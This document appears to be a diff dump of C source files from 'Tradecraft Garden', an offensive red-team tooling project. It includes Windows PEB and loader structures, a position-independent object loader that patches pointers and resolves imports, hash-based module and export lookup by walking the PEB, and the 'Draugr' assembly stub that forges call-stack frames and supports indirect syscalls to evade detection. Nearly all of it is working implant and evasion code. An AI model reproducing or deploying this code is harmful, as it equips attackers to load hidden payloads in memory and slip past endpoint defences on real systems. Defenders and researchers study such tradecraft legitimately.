USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
+25
View File
@@ -0,0 +1,25 @@
#include <windows.h>
WINBASEAPI int STDAPIVCALLTYPE MSVCRT$vsnprintf (char *, size_t, const char *, ...);
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA (LPCSTR);
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
void dprintf(char * format, ...)
{
va_list args;
va_start(args, format);
int len = MSVCRT$vsnprintf(NULL, 0, format, args);
char * temp = (char *)KERNEL32$VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (temp == NULL) {
return;
}
MSVCRT$vsnprintf(temp, len + 1, format, args);
KERNEL32$OutputDebugStringA(temp);
KERNEL32$VirtualFree(temp, 0, MEM_RELEASE);
va_end(args);
}
+205
View File
@@ -0,0 +1,205 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
typedef struct {
int codeLength;
int dataLength;
int rsrcOffset;
int entryAddress;
} PICO_HDR;
#define FIRST_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + sizeof(PICO_HDR))
#define NEXT_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + x->length);
#define PICO_INST_COMPLETE 0x0
#define PICO_INST_PATCH 0x1
#define PICO_INST_COPY 0x2
#define PICO_INST_LL 0x3
#define PICO_INST_GPA 0x4
#define PICO_INST_PATCH_DIFF 0x5
#define PICO_INST_PATCH_FUNC 0x6
#define PICO_PATCH_TEXT_TEXT 0x0
#define PICO_PATCH_TEXT_BASE 0x1
#define PICO_PATCH_BASE_TEXT 0x2
#define PICO_PATCH_BASE_BASE 0x3
#define PICO_PATCHF_FUNC 0x0
#define PICO_CONTEXT_CODE 0x5
#define PICO_CONTEXT_DATA 0x6
typedef struct {
char type;
char option;
short length;
} PICO_DIRECTIVE_HDR;
typedef struct {
PICO_DIRECTIVE_HDR hdr;
int offset;
} PICO_DIRECTIVE_PATCH;
typedef struct {
PICO_DIRECTIVE_HDR hdr;
int src_offset;
int dst_offset;
int total;
} PICO_DIRECTIVE_COPY;
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base) {
PICO_HDR * hdr = (PICO_HDR *)src;
return (PICOMAIN_FUNC)( (char *)base + hdr->entryAddress );
}
int PicoCodeSize(char * src) {
return ( (PICO_HDR *)src )->codeLength;
}
int PicoDataSize(char * src) {
return ( (PICO_HDR *)src )->dataLength;
}
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) {
PICO_DIRECTIVE_HDR * entry;
PICO_DIRECTIVE_PATCH * patch;
PICO_DIRECTIVE_COPY * copy;
HANDLE module;
char * address;
PICO_HDR * hdr = (PICO_HDR *)src;
entry = FIRST_PICO_DIRECTIVE(hdr);
while (TRUE) {
/*
* The heart and soul of PICO loading. Patching pointers into our destination blob
* to make sure everything works as hoped and expected. x86 doesn't do indirect addressing
* so there's a lot more patches there. But x64 needs some pointer patching too.
*/
if (entry->type == PICO_INST_PATCH) {
ULONG_PTR value;
ULONG_PTR src;
patch = (PICO_DIRECTIVE_PATCH *)entry;
if (entry->option == PICO_PATCH_TEXT_TEXT) {
src = (ULONG_PTR)dstCode;
value = (ULONG_PTR)dstCode;
}
else if (entry->option == PICO_PATCH_TEXT_BASE) {
src = (ULONG_PTR)dstCode;
value = (ULONG_PTR)dstData;
}
else if (entry->option == PICO_PATCH_BASE_TEXT) {
src = (ULONG_PTR)dstData;
value = (ULONG_PTR)dstCode;
}
else if (entry->option == PICO_PATCH_BASE_BASE) {
src = (ULONG_PTR)dstData;
value = (ULONG_PTR)dstData;
}
/* get the existing offset (from whatever base) within the .text section */
value += *(ULONG_PTR *)(src + patch->offset);
/* set it back */
*(ULONG_PTR *)(src + patch->offset) = value;
}
/*
* This block is for updating our function table sitting in our data section. We're
* either dumping the last resolved address at some specific slot OR we're pulling in
* a pre-determined internal API (which is presumed to be an overloaded IMPORTFUNCS
* structure... which we're treating as an array of function pointers basically)
*/
else if (entry->type == PICO_INST_PATCH_FUNC) {
ULONG_PTR value;
patch = (PICO_DIRECTIVE_PATCH *)entry;
if (entry->option == PICO_PATCHF_FUNC) {
value = (ULONG_PTR)address;
}
else {
ULONG_PTR * table = (ULONG_PTR *)funcs;
value = table[entry->option - 1];
}
*(ULONG_PTR *)(dstData + patch->offset) = value;
}
/*
* This is here to support keeping code + data in separate regions in x64 builds.
*/
#ifdef WIN_X64
else if (entry->type == PICO_INST_PATCH_DIFF) {
DWORD value;
patch = (PICO_DIRECTIVE_PATCH *)entry;
/* fetch the value currently at the patch address */
value = *(DWORD *)(dstCode + patch->offset);
/* adjust the value */
value += (ULONG_PTR)dstData - (ULONG_PTR)dstCode;
/* set it back */
*(DWORD *)(dstCode + patch->offset) = value;
}
#endif
/*
* Directive copies from our packed src to our destination. We do it this way to allow
* our .text section to pack down to its raw value and we expand it to its page-aligned
* size after.
*/
else if (entry->type == PICO_INST_COPY) {
copy = (PICO_DIRECTIVE_COPY *)entry;
char * dst;
/* make sure we're copying to the right context */
if (entry->option == PICO_CONTEXT_CODE)
dst = dstCode;
else
dst = dstData;
/* do our copy */
__movsb((unsigned char *)dst + copy->dst_offset, (unsigned char *)src + hdr->rsrcOffset + copy->src_offset, copy->total);
}
/*
* Directive does a LoadLibraryA() to set our handle. Used as a precursor to any
* GetProcAddress lookups based on this later on.
*/
else if (entry->type == PICO_INST_LL) {
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
module = funcs->LoadLibraryA(arg);
}
/*
* Call GetProcAddress on an argument. A precursor to a PATCH_FUNC instruction to push
* this pointer to the appropriate spot within our PICO blob.
*/
else if (entry->type == PICO_INST_GPA) {
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
address = (char *)funcs->GetProcAddress(module, arg);
}
/*
* An instruction to indicate the loading is complete and we should return.
*/
else if (entry->type == PICO_INST_COMPLETE) {
return;
}
entry = NEXT_PICO_DIRECTIVE(entry);
}
}
+102
View File
@@ -0,0 +1,102 @@
/*
* This is just the Draugr assembly stub used to prep the stack
* and make the API call. It does mean that anything calling this
* has to do the work of prepping the structs with the fake
* frame data and such...
*/
void * __attribute__((naked)) SpoofStub()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"pop rax;" // Real return address in rax
"mov r10, rdi;" // Store OG rdi in r10
"mov r11, rsi;" // Store OG rsi in r11
"mov rdi, [rsp + 32];" // Storing struct in rdi
"mov rsi, [rsp + 40];" // Storing function to call
// Storing our original registers
"mov [rdi + 24], r10;" // Storing OG rdi into param
"mov [rdi + 88], r11;" // Storing OG rsi into param
"mov [rdi + 96], r12;" // Storing OG r12 into param
"mov [rdi + 104], r13;" // Storing OG r13 into param
"mov [rdi + 112], r14;" // Storing OG r14 into param
"mov [rdi + 120], r15;" // Storing OG r15 into param
"mov r12, rax;" // OG code used r12 for ret addr
// Prepping to move stack args
"xor r11, r11;" // r11 will hold the # of args that have been pushed
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
"add r14, 8;"
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
"add r14, [rdi + 32];" // stack size of our gadget frame
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
"mov r10, rsp;"
"add r10, 0x30;" // offset of stack arg added to rsp
"looping:;"
"xor r15, r15;" // r15 will hold the offset + rsp base
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
"je finish;"
// Getting location to move the stack arg to
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
"mov r15, rsp;" // get current stack base
"sub r15, r14;" // subtract offset
// Procuring the stack arg
"add r10, 8;"
"push qword ptr [r10];"
"pop qword ptr [r15];"
// Increment the counter and loop back in case we need more args
"add r11, 1;"
"jmp looping;"
"finish:;"
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
"mov r11, [rdi + 64];"
"mov [rsp], r11;"
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
"mov r11, [rdi + 40];"
"mov [rsp], r11;"
"sub rsp, [rdi + 48];" // Gadget frame
"mov r11, [rdi + 80];"
"mov [rsp], r11;"
// Adjusting the param struct for the fixup
"mov r11, rsi;" // Copying function to call into r11
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
// For indirect syscall use. If you want to use it, make sure to set ssn
// in param struct first.Otherwise, this is ignored by the callee.
"mov r10, rcx;"
"mov rax, [rdi + 72];"
"jmp r11;"
"fixup:;"
"mov rcx, rbx;"
"add rsp, 0x200;" // Remove our large frame
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
"mov rbx, [rcx + 16];" // Restoring OG RBX
"mov rdi, [rcx + 24];" // Restoring OG rdi
"mov rsi, [rcx + 88];" // Restoring OG rsi
"mov r12, [rcx + 96];" // Restoring OG r12
"mov r13, [rcx + 104];" // Restoring OG r13
"mov r14, [rcx + 112];" // Restoring OG r14
"mov r15, [rcx + 120];" // Restoring OG r15
"push rax;"
"xor rax, rax;"
"pop rax;"
"jmp qword ptr [rcx + 8];"
".att_syntax prefix"
);
}
+22
View File
@@ -0,0 +1,22 @@
#include <windows.h>
typedef struct _DRAUGR_PARAMETERS {
PVOID Fixup; // 0
PVOID OriginalReturnAddress; // 8
PVOID Rbx; // 16
PVOID Rdi; // 24
PVOID BaseThreadInitThunkStackSize; // 32
PVOID BaseThreadInitThunkReturnAddress; // 40
PVOID TrampolineStackSize; // 48
PVOID RtlUserThreadStartStackSize; // 56
PVOID RtlUserThreadStartReturnAddress; // 64
PVOID Ssn; // 72
PVOID Trampoline; // 80
PVOID Rsi; // 88
PVOID R12; // 96
PVOID R13; // 104
PVOID R14; // 112
PVOID R15; // 120
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
+108
View File
@@ -0,0 +1,108 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Walk the Export Address Table to resolve functions by hash
*/
char * findModuleByHash(DWORD moduleHash) {
_PEB * pPEB;
LDR_DATA_TABLE_ENTRY * pEntry;
char * name;
DWORD hashValue;
USHORT counter;
/* get the Process Enviroment Block */
#if defined WIN_X64
pPEB = (_PEB *)__readgsqword( 0x60 );
#elif defined WIN_X86
pPEB = (_PEB *)__readfsdword( 0x30 );
#else
#error "Neither WIN_X64 or WIN_X86 is defined"
#endif
/* walk the module list */
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
while (pEntry) {
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
We are walking and hashing this string, one byte at a time */
name = (char *)pEntry->BaseDllName.pBuffer;
counter = pEntry->BaseDllName.Length;
/* calculate the hash of our DLL name */
hashValue = 0;
do {
hashValue = ror(hashValue);
if (*name >= 'a')
hashValue += (BYTE)*name - 0x20;
else
hashValue += (BYTE)*name;
name++;
} while (--counter);
/* if we have a match, return it */
if (hashValue == moduleHash)
return pEntry->DllBase;
/* next entry */
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
}
return NULL;
}
void * findFunctionByHash(char * src, DWORD wantedFunction) {
DLLDATA data;
IMAGE_DATA_DIRECTORY * exportTableHdr;
IMAGE_EXPORT_DIRECTORY * exportDir;
DWORD * exportName;
WORD * exportOrdinal;
DWORD * exportAddress;
DWORD hashValue;
/* parse our DLL! */
ParseDLL(src, &data);
/* grab our export directory */
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
/* walk the array of exported names/address ordinals */
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
while (TRUE) {
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
if (hashValue == wantedFunction) {
/* figure out the base of our AddressOfFunctions array */
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
/* increment it by the current value of our exportOrdinal array */
exportAddress += *exportOrdinal;
/* and... there-in is our virtual address to the actual ptr we want */
return PTR_OFFSET(src, *exportAddress);
}
exportName++;
exportOrdinal++;
}
}
+18
View File
@@ -0,0 +1,18 @@
#include <windows.h>
int _strncmp(const char* s1, const char* s2, SIZE_T n)
{
while (n-- > 0)
{
unsigned char c1 = (unsigned char)*s1++;
unsigned char c2 = (unsigned char)*s2++;
if (c1 != c2)
return c1 - c2;
if (c1 == '\0')
break;
}
return 0;
}